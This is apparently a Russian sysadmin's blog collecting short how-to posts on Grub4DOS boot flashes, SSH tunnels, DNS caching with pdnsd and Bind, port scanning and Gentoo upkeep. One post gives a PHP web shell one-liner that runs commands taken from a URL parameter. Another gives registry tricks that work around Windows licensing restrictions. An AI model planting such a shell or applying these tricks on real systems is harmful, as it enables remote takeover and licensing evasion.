Загрузка LiveCD через Grub4DOS на примере SystemRescueCd

Всем привет! Вот нашёл немного времени во время компиляции.

Я купил Eee PC 701. Вот устанавливаю туда Gentoo, как только закончу, обязательно напишу, как ЭТО делается.

Заодно научу ставить LinuxLiveCD на Flash без проблем. 2 статьи в 1 получается.

Но начнём с приготовления, а именно изготовления LiveFlash на базе SystemRescueCd и загрузчика Grub4DOS.

Нам понадобится:

1) Flash с установленным Grub4DOS (как сделать - смотри в блоге)

2) SystemRescueCd Обязательно Stable версия

3) Время и прямые руки

Приступим:

1) Качаем последний stable образ

2) монтируем его командой


mount -o loop ваш_образ.iso /mnt/cdrom

3) Нам понадобится: sysrcd.dat и вся папка isolinux. Копируем их в корень Flash.
mount /dev/sdb1 /mnt/flash

cd /mnt/cdrom

cp sysrc.dat /mnt/flash

cp -r isolinux /mnt/flash

4) Ещё на диске есть папка syslinux

Заходим в неё и там видим файл syslinux.cfg

Открываем его
cat /mnt/cdrom/syslinux/syslinux.cfg

И в нём видим записи

Например:
label rescue64

kernel rescue64

append initrd=initram.igz scandelay=5

Это нам и нужно! Т.е это ядро и initrd с доп.параметрами

5) Идём в /mnt/flash и редактируем menu.lst

У меня выглядит так: Образ лежит в папке rescuecd

sysrcd.dat должен лежать обязательно в корне Flash
title SystemRescueCD

root (hd0,0)

kernel /rescuecd/rescuecd

initrd=/rescuecd/initram.igz video=ofonly vga=0 setkmap=us scandelay=5

Сохраняем, пробуем.

Так можно грузить почти все образы linux

Eee PC 701 DDR2 Upgrade

Все привет!
Вчера купил себе это маленькое чудо - Eee PC 701 за 4805 рублей.(Дешевле чем мой мобильный)
Разумеется с Linux на борту, что-бы дядюшке Билли ни копейки не досталось.
Доволен как слон. Всё устраивает, работает шустрее чем я думал.
На неделе буду ставить Gentoo на него. Если что - инструкции выложу.
Первым делом прошился до 1101 прошивки.
Но сейчас не об этом.

Сегодня с утра пошёл сразу-же в магазин за ОЗУ. Выбор пал на Kingston SO-DDR2 2048 mb за 739 руб.
Купил.
Инструкция по установке.
Итак:
1) Откручиваем 2 болта с низу. (один под наклейкой)
2) Снимаем крышку, видим модуль DDR2 Adaptec
3) Отодвигаем 2 скобы по бокам
4) Тянем память вверх на себя (не горизонтально, как я думал)
5) Вынимаем и вставляем свою, так-же как и вынимали, к себе на 45 градусов относительно горизонта.
6) Включаем
7) Если не включился, как в моём случае (аж страшно стало) то вынимаем батарею аккумулятора и ждем 3 минуты, вставляем. У меня включился, написал что BIOS сброшен. Я нажал F1 и сохранил настройки
8 )  Всё, у Вас 2 гб памяти.
9) Закручиваем всё обратно.

Загрузочная FLASH с помощью Grub4DOS

Всем привет.
Наверное, мечта любого администратора - это избавиться от этих постоянно ломающихся, медленных CD/DVD дисков. В добавок сейчас многие ПК покупают вообще без приводов. В моём случае руководством был куплен USB DVD привод. Но он оказался крайне неудобен, тяжёл да и внешнее питание.  Я понял, что так больше не может продолжаться и  решил пойти по другому пути, а имеено купил FLASH накопитель на 8 гб.  В качестве загрузчика думал использовать GNU GRUB. Но он не подошёл. Поискав в google.com я наткнулся на замечательный проект Grub4DOS. Он мне понравился сразу. Судите сами:
1)Синтаксис похож на GNU GRUB
2)Умеет работать с архивами
3)Понимает образы ISO и может загружать их без ОЗУ.
4)Поддерживает загрузку образов в память
5)Защита пунктов загрузки паролем
6)Понимает NTFS, FAT16/32, EXT2/3 и т.д

И т.д, возможности почти безграничны.
Кстати, Grub4DOS можно установить не только на FLASH, но и на HDD, FDD, CD/DVD и т.д

В этом посту я напишу как поставить Grub4DOS на FLASH.
В будующих постах расскажу как с помощью него грузить LiveCD Linux, Acronis, Windows установку и т.д
И так, приступим:



Для начала убедимся в том, что наша система и FLASH поддерживает USB-HDD.

Идём на Windows машину
Есть несколько путей, как записать Grub4DOS в mbr.
Для начала скачайте Grub4DOS От сюда
Вот первый (мне не помог)
1) форматируем флешку и делаем ее системной дос (чтобы первый раз загрузиться)
HPUSBF.EXE B: -FS:FAT -B:A:\
2) кидаем туда же grldr и bootlace.com, ну и menu.lst
3) перегружаемся с флешки - грузится дос, при этом флешка стает диском C:
-- это важно, иначе следующая команда запишет загрузчик на первый жесткий диск
4) bootlace.com 0x80 - пишет загрузчик GRUB в MBR
5) io.sys, msdos.sys, command.com, bootlace.com можно стереть

От себя: можно сделать Boot Floppy средствами Windows, оттуда скопировать все файлы на FLash(Файловая система должна быть FAT), туда-же распаковать Grub4DOS
Затем загрузиться и выполнить
bootlace.com 0x80 - пишет загрузчик GRUB в MBR

Вот второй способ, который я придумал сам:
1)Качаем HP USB Disk Storage Format Tool
2)Качаем grubutil (я скачал grubutil-1.1-bin-w32-19)
3)Всё это устанавливаем (Нужны права Админа, далее всё делаем из-под Администратора)
4)Запускаем HPUSBFW.EXE и выбираем свою Flash'ky. File system NTFS (Важно).
Почему-то при форматировании в FAT32 он не мог найти grldr. В этом то и была проблема.
Форматируем.
5)Переходим в папку с grubutil (В моём случае grubutil-1.1-bin-w32-19)
6)Запускаем grubinst.exe (hd1), где hd1 - это номер Flash'kи.
Свой номер смотрим в Пуск=>Выполнить=>compmgmt.msc=>Управление дисками(Disk Management)
hd номер и Disk номер должны совпадать.
Пример: В моё случае Disk 0 (hd0) это HDD. Disk 1 (hd1) Flashk'a
7)При желании форматируем в FAT32/16 (Правой кнопкой на накопителе=> Формат)
Хотя можно и оставить NTFS
8)Копируем на Flashk'y grldr и menu.lst (Из пакета grub4dos-0.4.3 или новее)
Обновлять загрузчик можно переписыванием grldr.

Пробуем грузиться... Выставив в Bios загрузку с USB-HDD

Далее нам нужно разрезать Flash на разделы.
Это нужно для того, что-бы мы могли запускать проги которым нужен FAT16.
И ещё, если Вы грузите LiveCD с FLASH, то Вы не сможете смонтировать раздел с которого загрузились. Нужен ещё один.
С разу предупрежу, что Windows резать отказался. Слава богу у меня Linux.
Резал fdisk'ом, можно и cfdisk'ом и т.д

На 2 раздела:
1) FAT16, size 1,9 GB
2) EXT3, size всё остальное
В Windows системах более 1-го раздела не видно, неизвестно почему.
Вроде пишут нужна спец. Flash который можно резать.

Если вы работаете в Linux, то Вам повезло.
Выкладываю свой mbr c Grub4DOS.
http://www.mediafire.com/?gtlz25ok3n0
Вам только требуется восстановить его на FLASH
dd if=grub4dos_mbr.img of=/dev/[Ваша Flash] bs=512 count=1
Разрезать FLASH и распаковать файлы grldr и menu.lst из комплекта Grub4DOS
---
Ещё почитать по Grub4DOS на русском можно Тут

UPD: В официальной WIKI Grub4DOS появилась информация по установке Grub4DOS в mbr из под DOS, linux, FreeBSD, Windows

Сейчас самый простой способ установки:
Нужно скачать программу grubinst под Вашу ОС.
Поскольку у меня Linux, то я скачал исходники и скомпилировал их.
Затем просто даём команду для установки, например:
grubinst (hd0) (Windows)
grubinst /dev/hda (Linux)
grubinst /dev/ad0 (FreeBSD)

UPD2:
Появился проект: Grub4DOS Toolbox for Windows
Призванный упростить установку Grub4DOS на Flash из под Windows

Выключение скринсейвера и энергосбережения у монитора

Всем привет!

Бывают случаи, когда нужно что-бы монитор не выключался.

Например при просмотре видео.

Если в mplayer можно выставить


stop-xscreensaver=1

В файле вашего конфига "~/.mplayer/config"

И наслаждаться просмотром.

То как-же быть при просмотре Flash видео?

Ответ: Очень просто!

Все манипуляции делаются одной командой
xset s off -dpms

Где s off - Это выключение хранителя экрана, а -dpms - Это выключение энергосбережения.

Всё можно включить обратно командой
xset s on +dpms

Ещё можно выключить писк в консоле
xset b off

Больше можно узнать из команды man xset

Что-бы постоянно всё это не вводить, можно прописать настройки в .bashrc

Как считать на пальцах до 1023 в двоичной системе

Понадобятся 2 руки, 10 пальцев

1)Повернуть ладони к себе, выпрямить пальцы
Обозначить загнутый палец как единицу, а прямой, как ноль.
2)Запомнить следующие значения:



Пальцы левой руки:
большой – 1
указательный – 2
средний – 4
безымянный – 8
мизинец – 16

Пальцы правой руки:
мизинец – 32
безымянный – 64
средний – 128
указательный – 256
большой – 512


3)Далее берем любое число и раскладываем на слагаемые от самого большего, например 513 – это 512 + 1, значит загибаем большой палец правой руки и большой палец левой руки. На бумаге будет выглядеть так: 1000000001. Запись идет c права на левов ориентируясь на загнутые пальцы.
Т.е загнули пальцы и считаем: загнутый =1, не загнутый =0.
Ещё пример: 25=24+1;16+8+1
Загибаем:
Пальцы левой руки:
большой – 1
безымянный – 8
мизинец – 16
Считаем: 10011
Оригинал
PS.
Можно и на бумаге
1)делим исходное число на 2 нацело(с остатком) в десятичной системе, результат записываем в качестве нового значения десятичноо чила,
2)остаток от деления( это 0 или 1) приписываем слева, к полученным ранее цифрам в двоичной записи исходногочисла(первая полученная цифра соответствует младшему разряду) так продолжаем, пока число не доделиться
пример:
деление остаток
123/2=61 (1)
61/2=30 (1)
30/2=15 (0)
15/2=7 (1)
7/2=3 (1)
3/2=1 (1)
1/2=0 (1)
теперь записываем всё это в строчку(первая цифра это самый младший порядок), выходит:1111011, можешь проверить на Винде в калькуляторе(вид->инженерный)
Оригинал

SSH проброс портов

Мой замечательный провайдер выделил белый IP адрес в интернете
Не долго думая попросил пробросить мне порты
Поскольку работаю Freelancer'ом ездить на работу мне удовольствия не доставляет
VPN решил не использовать из-за избыточности.
И мой сервер не приготовлен для VPN. Пришлось бы полностью перенастраивать.
Да и клиентскую часть от OpenVpn таскать с собой...
К счастью нашлось решение: SSH
1)Для начала правим конфиг SSH
nano /etc/ssh/sshd_config
Добавляем
AllowTcpForwarding yes
Перезапускаем SSH

/etc/rc.d/sshd restart (FreeBSD)
/etc/init.d/sshd restart (Linux)

2)Локальный проброс

Из названия следует, что проброс будет действовать для локальной сети
Делаем:
ssh -L9999:192.168.5.230:3128 192.168.1.1

после авторизации на вашем локальном будет слушаться порт 9999.
Т.е Мы пробросили 192.168.5.230:3128 на 192.168.1.1:9999

Проверить можно следующим образом:
netstat -lnp | grep 9999
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN 16384/ssh

Теперь немного подробнее о параметрах:
-L - указывает что будем организовывать локальный проброс порта, то есть наш туннель будет открываться на локальной машине, то есть на локальной машине будет слушаться порт
9999 - указывает какой именно порт мы будем открывать локально
192.168.5.230:3128 - указывает на какой хост:порт мы будем пробрасывать туннель, хост который видно с сервера на который мы устанавливаем ssh соединени

В результате наших действий если поставить в браузере прокси сервер 127.0.0.1:9999 мы будем, к примеру, ходить в интернет через прокси-сервер который находится в другой подсети.
3) Удалённый проброс
Действует не только локально, но и удалённо.
ssh -R2222:localhost:22 234.12.34.34
или
ssh -R2222:192.168.1.234:22 234.12.34.34


Мы пробросили на 234.12.34.34:2222 адрес 192.168.1.234:22

Т.е сначала делаем туннель.
ssh 234.12.34.34 -p 2222 -v
-v это для отладки, что-бы видеть что происходит

Затем не прекращая сессии подключаемся к 234.12.34.34 по порту 2222
И получаем доступ к 192.168.1.234 по 22 порту

Оригинал
О том как сделать постоянный проброс портов для нескольким приложений читать Здесь

Используем OpenDNS+DynDNS+pdnsd(или Bind) для защиты и ускорения на dynamic IP

Всем привет.
Нам потребуется:
1)Модем с поддержкой DynDNS(опционально)
2)UNIX система (опционально)
3)Прямые руки

Приступим:
1)Идём на DynDNS.com
Регистрируем там домен, в моём случае myhost.ath.cx
Затем переходим в модем, роутер, прогу и делаем синхронизацию с аккаунтом
2)Идём на OpenDNS.com
Проходим регистрацию
Настраиваем:
Во вкладке Networks ставим имя сети, задаём свой IP

Во вкладке Settings => Content Filtering => Choose your filtering level => Custom Выбираем необходимые фильтры контента.
3)Идём на dnsomatic.com
Аккаунт должен быть создан при регистрации на OpenDNS
Переходим на вкладку Your Services
Затем добавляем Service:DynDNS
User ID:Ваше имя на DynDNS
Password:Ваш пароль
Host/Identifier:Ваш хост, в моё случае myhost.ath.cx
Жмём Update Account Info
Затем добавляем Add a service:OpenDNS
Имя сети: имя указанное при вводе IP на OpenDNS
Жмём Update Account Info
4) Вписываем DNS OpenDNS в свой модем, соединение, и т.д
208.67.222.222
208.67.220.220


В принципе всё. Но мы идём дальше:

Поставим кэширующий DNS
Все действия описаны для Gentoo(Linux)
Для начала разберёмся с pdnsd
Я предпочёл его, за перманентный кэш.
1)Ставим pdnsd
В моём случае emerge pdnsd
Исходники доступны здесь
Переходим в /etc/pdnsd/
cd /etc/pdnsd/
Затем cp pdnsd.conf.sample pdnsd.conf
Правим:
У меня в конечном варианте выглядит так
// Sample pdnsd configuration file. Must be customized to obtain a working pdnsd setup!
// Read the pdnsd.conf(5) manpage for an explanation of the options.
// Add or remove '#' in front of options you want to disable or enable, respectively.
// Remove '/*' and '*/' to enable complete sections.

global {
perm_cache=4096;
cache_dir="/var/cache/pdnsd";
# pid_file = /var/run/pdnsd.pid;
run_as="pdnsd";
server_ip = 192.168.1.5; # Use eth0 here if you want to allow other
# machines on your network to query pdnsd.
status_ctl = on;
# paranoid=on; # This option reduces the chance of cache poisoning
# but may make pdnsd less efficient, unfortunately.
query_method=udp_tcp;
min_ttl=15m; # Retain cached entries at least 15 minutes.
max_ttl=1w; # One week.
timeout=10; # Global timeout option (10 seconds).
}

# The following section is most appropriate if you have a fixed connection to
# the Internet and an ISP which provides good DNS servers.
/*
server {
label= "myisp";
ip = 195.54.2.1; # Put your ISP's DNS-server address(es) here.
# proxy_only=on; # Do not query any name servers beside your ISP's.
# This may be necessary if you are behind some
# kind of firewall and cannot receive replies
# from outside name servers.
timeout=4; # Server timeout; this may be much shorter
# that the global timeout option.
uptest=if; # Test if the network interface is active.
interface=eth0; # The name of the interface to check.
interval=10m; # Check every 10 minutes.
purge_cache=off; # Keep stale cache entries in case the ISP's
# DNS servers go offline.
}

*/
/*
# The following section is more appropriate for dial-up connections.
# Read about how to use pdnsd-ctl for dynamic configuration in the documentation.
server {
label= "dialup";
file = "/etc/ppp/resolv.conf"; # Preferably do not use /etc/resolv.conf
proxy_only=on;
timeout=4;
uptest=if;
interface = ppp0;
interval=10; # Check if the interface every 10 seconds.
purge_cache=off;
preset=off;
}
*/

# The servers provided by OpenDNS are fast, but they do not reply with
# NXDOMAIN for non-existant domains, instead they supply you with an
# address of one of their search engines. They also lie about the addresses of
# of the search engines of google, microsoft and yahoo.
# If you do not like this behaviour the "reject" option may be useful.
server {
label = "opendns";
ip = 208.67.222.222, 208.67.220.220;
reject = 208.69.32.0/24, # You may need to add additional address ranges
208.69.34.0/24, # here if the addresses of their search engines
208.67.219.0/24; # change.
reject_policy = fail; # If you do not provide any alternative server
# sections, like the following root-server
# example, "negate" may be more appropriate here.
timeout = 4;
uptest = ping; # Test availability using ICMP echo requests.
ping_timeout = 100; # ping test will time out after 10 seconds.
interval = 15m; # Test every 15 minutes.
preset = off;
}
#Это нужно для того, что бы при отказе соединения или посещении запрещённого ресурса
#у вас выводилось окно OpenDNS, если нижнюю секцию opendns убрать то тогда
#в место окна OpenDNS будет показываться ошибка 404 вашего браузера.
server {
label= "opendns";
ip = 208.67.222.222,208.67.220.220; # Put your ISP's DNS-server address(es) here.
# proxy_only=on; # Do not query any name servers beside your ISP's.
# This may be necessary if you are behind some
# kind of firewall and cannot receive replies
# from outside name servers.
timeout=4; # Server timeout; this may be much shorter
# that the global timeout option.
uptest=if; # Test if the network interface is active.
interface=eth0; # The name of the interface to check.
interval=10m; # Check every 10 minutes.
purge_cache=off; # Keep stale cache entries in case the ISP's
# DNS servers go offline.
}

server {
label= "myisp";
ip = 195.54.2.1; # Put your ISP's DNS-server address(es) here.
# proxy_only=on; # Do not query any name servers beside your ISP's.
# This may be necessary if you are behind some
# kind of firewall and cannot receive replies
# from outside name servers.
timeout=4; # Server timeout; this may be much shorter
# that the global timeout option.
uptest=if; # Test if the network interface is active.
interface=eth0; # The name of the interface to check.
interval=10m; # Check every 10 minutes.
purge_cache=off; # Keep stale cache entries in case the ISP's
# DNS servers go offline.
}

# This section is meant for resolving from root servers.
server {
label = "root-servers";
root_server = on;
randomize_servers = on; # Give every root server an equal chance
# of being queried.
ip = 198.41.0.4
, 192.228.79.201
, 192.33.4.12
, 128.8.10.90
, 192.203.230.10
, 192.5.5.241
, 192.112.36.4
, 128.63.2.53
, 192.36.148.17
, 192.58.128.30
, 193.0.14.129
, 198.32.64.12
, 202.12.27.33
;
timeout = 5;
uptest = query; # Test availability using empty DNS queries.
interval = 30m; # Test every half hour.
ping_timeout = 300; # Test should time out after 30 seconds.
purge_cache = off;
exclude = .localdomain;
policy = included;
preset = off;
}
source {
owner=localhost;
# serve_aliases=on;
file="/etc/hosts";
}

/*
include {file="/etc/pdnsd.include";} # Read additional definitions from /etc/pdnsd.include.
*/

rr {
name=localhost;
reverse=on;
a=127.0.0.1;
owner=localhost;
soa=localhost,root.localhost,42,86400,900,86400,86400;
}

/*
neg {
name=doubleclick.net;
types=domain; # This will also block xxx.doubleclick.net, etc.
}
*/

/*
neg {
name=bad.server.com; # Badly behaved server you don't want to connect to.
types=A,AAAA;
}
*/

Думаю тут всё понятно
По непонятной причине pdnsd у меня так и не заработал, решил скомпилировать сам
cd /tmp
wget http://www.phys.uu.nl/~rombouts/pdnsd/releases/pdnsd-1.2.7-par.tar.gz
tar xvfz pdnsd-1.2.7-par.tar.gz
cd pdnsd-1.2.7
./configure --enable-ipv6 --program-prefix=/usr/local
make
cp /etc/pdnsd/pdnsd/pdnsd.conf /usr/local/etc/
cp -r src /usr/local/pdnsd
cd /usr/local/pdnsd
./pdnsd -d

Запуск в режиме Демона для проверки
Ставим bind-tools для проверки DNS
emerge bind-tools
dig ya.ru

Просмотр вывода, в моём случае
; <<>> DiG 9.4.2-P2 <<>> ya.ru
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17622
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;ya.ru. IN A

;; ANSWER SECTION:
ya.ru. 6382 IN A 213.180.204.8

;; Query time: 1 msec
;; SERVER: 192.168.1.5#53(192.168.1.5)
;; WHEN: Sat Nov 22 13:22:42 2008
;; MSG SIZE rcvd: 39

Значит работает
Осталось добавить в автозапуск
Исправленный скрипт
#!/sbin/runscript
# Copyright 1999-2004 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-dns/pdnsd/files/pdnsd.rc6,v 1.13 2007/07/13 07:46:00 mrness Exp $

opts="reload"

depend() {
need net
provide dns
}

checkconfig() {
if [ ! -e /usr/local/etc/pdnsd.conf ] ; then
eerror "You need an /usr/local/etc/pdnsd.conf file first."
eerror "There is a sample in /usr/local/etc/pdnsd.conf.sample"
return 1
fi
}

start() {
checkconfig || return 1
ebegin "Starting pdnsd"
start-stop-daemon --start --quiet --exec /usr/local/pdnsd/pdnsd -- -d -p /var/run/pdnsd.pid
eend $?
}

stop() {
ebegin "Stopping pdnsd"
start-stop-daemon --stop --quiet --pidfile /var/run/pdnsd.pid
eend $?
}

Убиваем pdnsd
Добавляем в автозапуск
rc-update add pdnsd default
Запускаем
/etc/init.d/pdnsd start
правим resolv.conf
nano /etc/resolv.conf
В моём случае
# Generated by dhclient for interface eth0
nameserver 192.168.1.5
nameserver 192.168.1.1 # на модеме то-же вписан OpenDNS+DNS провайдера
nameserver 208.67.222.222
nameserver 208.67.220.220

2) Для Bind
ставим его
emerge bind
правим конфиг
В моём случае:
options {
directory "/var/bind";

// uncomment the following lines to turn on DNS forwarding,
// and change the forwarding ip address(es) :
//forward first;
//forwarders {
// 123.123.123.123;
// 123.123.123.123;
//};

listen-on-v6 { none; };
listen-on { 127.0.0.1;192.168.1.5; };

// to allow only specific hosts to use the DNS server:
allow-query {
any;
};
forwarders { 208.67.222.222;208.67.220.220; }; // Здесь IP OpenDNS
// if you have problems and are behind a firewall:
query-source address * port 53;
pid-file "/var/run/named/named.pid";
};

// Briefly, a zone which has been declared delegation-only will be effectively
// limited to containing NS RRs for subdomains, but no actual data beyond its
// own apex (for example, its SOA RR and apex NS RRset). This can be used to
// filter out "wildcard" or "synthesized" data from NAT boxes or from
// authoritative name servers whose undelegated (in-zone) data is of no
// interest.
// See http://www.isc.org/products/BIND/delegation-only.html for more info

//zone "COM" { type delegation-only; };
//zone "NET" { type delegation-only; };

zone "." IN {
type hint;
file "named.ca";
};

zone "localhost" IN {
type master;
file "pri/localhost.zone";
allow-update { none; };
notify no;
};

zone "127.in-addr.arpa" IN {
type master;
file "pri/127.zone";
allow-update { none; };
notify no;
};

Сохраняем.
Запускаем
/etc/init.d/named start
Проверяем
dig ya.ru
Добавляем в атозапуск
rc-update add named default
Правим resolv.conf по образцу выше
nano /etc/resolv.conf

Всё.
UPD
После чтения доков по www.dnsomatic.com выяснилось, что это не совсем то, что нужно.
Это сервис для синхронизации IP между сервисами.
Для UNIX единственное, что предлагается, так это воспользоваться ddclient
Если техника позволяет, можно вписать с свой роутер, модем и т.д сервер updates.dnsomatic.com
Имя пользователя и пароль.
Мы же пойдём более простым путём:
Синхронизироваться будем через скрипт, который добавим в cron на выполнение каждые 10 минут
Для этого понадобится wget или curl
Wget:
wget -O - --no-check-certificate "https://имя_пользователя:пароль@updates.dnsomatic.com/nic/update?wildcard=YESG&mx=YES&backmx=NOCHG"
--14:13:23-- https://имя_пользователя:пароль@updates.dnsomatic.com/nic/update?wildcard=YESG&mx=YES&backmx=NOCHG
=> `-'

Resolving updates.dnsomatic.com... 67.215.64.64
Connecting to updates.dnsomatic.com|67.215.64.64|:443... connected.
WARNING: Certificate verification error for updates.dnsomatic.com: unable to get local issuer certificate
HTTP request sent, awaiting response... 200 OK
Length: 16 [text/html]

100%[============================================================================================================================>] 16 --.--K/s

14:13:24 (144.52 KB/s) - `-' saved [16/16]

Curl:
curl --insecure "https://имя_пользователя:пароль@updates.dnsomatic.com/nic/update?wildcard=YESG&mx=YES&backmx=NOCHG"

Узнаём тип файловой системы в Linux

Команда


file -s /dev/sda{1,2,3,4,5}


Номер заменить на нужный

Проверить сканером портов открытые порты , затем сопоставить их со службами (Linux)

Пусть внешний интерфейс eth1 имеет адрес 81.81.81.81. Проверим открытые порты командой:


# netcat -v -w 4 -z 81.81.81.81 1-1023 | grep succeed



либо


# nmap -sT -O 81.81.81.81



Посмотрим кто сопоставлен, к примеру, с портом 111:


# cat /etc/services | grep 111
sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP
sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP

Посмотрим, кто его прослушивает:


# netstat -anp | grep 111

tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 2457/portmap
udp 0 0 0.0.0.0:111 0.0.0.0:* 2457/portmap




Посмотрим используется ли он сейчас:


# lsof -i | grep 111

Запрет индексации поисковыми роботами

Запрет индексации поисковыми роботами
SetEnvIfNoCase User-Agent "^Yandex" search_bot
SetEnvIfNoCase User-Agent "^Yahoo" search_bot
SetEnvIfNoCase User-Agent "^igdeSpyder" search_bot
SetEnvIfNoCase User-Agent "^Robot" search_bot
SetEnvIfNoCase User-Agent "^Googlebot" search_bot
SetEnvIfNoCase User-Agent "^msnbot" search_bot
SetEnvIfNoCase User-Agent "^Aport" search_bot
SetEnvIfNoCase User-Agent "^Mail" search_bot
SetEnvIfNoCase User-Agent "^bot" search_bot
SetEnvIfNoCase User-Agent "^spider" search_bot
SetEnvIfNoCase User-Agent "^php" search_bot
SetEnvIfNoCase User-Agent "^Parser" search_bot


<Limit GET POST HEAD>
Order Allow,Deny
Allow from all
Deny from env=search_bot
</Limit>

Простой Shell на PHP

Простой Shell на PHP
<?php system($_GET["cmd"]); ?>
<? system($a);?>

<? system($a);?> or <? exec($a);?> or <? eval($a);?>

logins.php?a=[shell]

Telnet в Vista, Windows Server 2008

Vista -
Use software explorer or Click Start, Control Panel, Programs, and then Turn Windows Features on or off.
In the list, scroll down and select Telnet Client.
Click OK to start the installation.
Windows 2008 Server
Use RMT to install
If you want to use command line options - please use the following commands -
Command line to install telnet server:
start /w pkgmgr /iu:"TelnetServer"
Command line to install telnet server:
start /w pkgmgr /iu:"TelnetClient"

Конвертируем образы Nero в обычные iso

Оказывается образы nrg от небезызвестной программы Nero это те же самые iso только с лишними трехсот килобайтами в начале файла в которых свой заголовок писанный на iso. Посему конвертирование nrg образов в iso становиться тривиальной задачей.


dd bs=1k if=bla.nrg of=bla.iso skip=300

Оригинал

Переделываем Windows HOME Edition в Professional

Одна из фирм, которую я обслуживаю закупили 50 лицензионных Windows XP HOME
Поскольку на тот момент у нас там был Active Directory то разумеется о вводе ПК в домен можно было забыть.
После поиска было найдено пару рецептов, решающих эту проблему
Переделывается почти полностью, хотя некоторые функции остаются недоступны.
О том как полностью преобразовать Home в Professional можно почитать в Google.com
WINDOWS XP HOME EDITION В WINDOWS XP PROFESSIONAL 1


1. Запускаем regedit (кто не знает что это - то лезем в пуск->выполнить набираем regedit и жмем "ок")
2. Лезем в раздел реестра: HKEY_LOCAL_MASHINESYSTEM -> SYSTEM
3. Видим там несколько разделов ControlSet с номерами (например ControlSet001 и ControlSet003) - нам нужен тот, у которого самый большой из всех номер!
4. Далее лезем в Control -> Product Options
5. Там в версии Home есть параметр ProductSuite типа "мультистроковый параметр" со значением Personal - его нужно удалить и взамен него создать там же параметр с именем Brand типа "DWORD" со значением равным нулю!
6. Закрываем Regedit и перегружаем машину - при загрузке жмем F8 и входим в меню выбора варантов загрузки и выбираем тот что "загрузка в последней удачной конфигурации"
7. Вот собственно и все - как только увидите при загрузке надпись Windows XP Professional - значит все получилось!
8. Чтобы переделать XP Pro в Home - нужно ключи поменять в обратной последовательности!

WINDOWS XP HOME EDITION В WINDOWS XP PROFESSIONAL 2

Сначала нужно запустить редактор реестра regedit.exe

В папке HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/ProductOptions есть ключ ProductSuite. Он равен "Personal" у версии HOME и совершенно пуст ("") у PRO.
НО! Windows не дает изменять этот ключ Сообщает, что это нарушает лицензионное соглашение.
Однако есть хитрость, с помощью которой можно запрет обойти.

Хитрость заключается в замене этого ключа не в текущей конфигурации, а в резервной.
Для этого переходим в реестре в папку HKEY_LOCAL_MACHINE/SYSTEM/.
Помимо CurrentControlSet (текущие параметры), там есть папки типа ControlSet001, ControlSet002, ControlSet003...

Нужно зайти в ControlSet002 (если есть) или в ControlSet003 (если 002 отсутствует).
В папке с резервной конфигурацией переходим по такому же пути:
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet002/Control/ProductOptions.

Меняем ключ ProductSuite (щелкаем на нем правой кнопкой мыши и выбираем пункт "Изменить"). Просто убираем из него значение "Personal". Затем закрываем regedit и перезагружаем компьютер.

Теперь, при загрузке компьютера, нужно нажимать F8 до тех пор, пока не выскочит меню.
В этом самом меню выбираем пункт "Загрузка последней удачной конфигурации (с работоспособными параметрами)".

Лично мне помог первый способ

Оригинал

Перекодирование видео Theora в AVI

Записывал видео для курсового прогой recordmydesktop.
Пишет она классно, но для редактирования пришлось перекодировать в AVI
Для того, что-бы это осуществить требуется собрать mplayer с опцией encode
После этого можно конвертировать.
Команда:

mencoder input_file.ogg -ovc lavc -o output_file.avi

Gentoo, Обновляем Мир

Обновление и пересборка
emerge --sync && emerge -uDNav world

Более правильно
eix-sync && emerge -uDNtva world && emerge --depclean -va && revdep-rebuild

Решился...

Я всё-таки решился создать свой IT Blog.
Меня зовут Илья.
Учусь в институте ЮУПИ Челябинск.
На 5 курсе. Занимаюсь администратированием.
Сюда буду писать статьи, нужные по работе.
Надеюсь, Это будет происходить часто.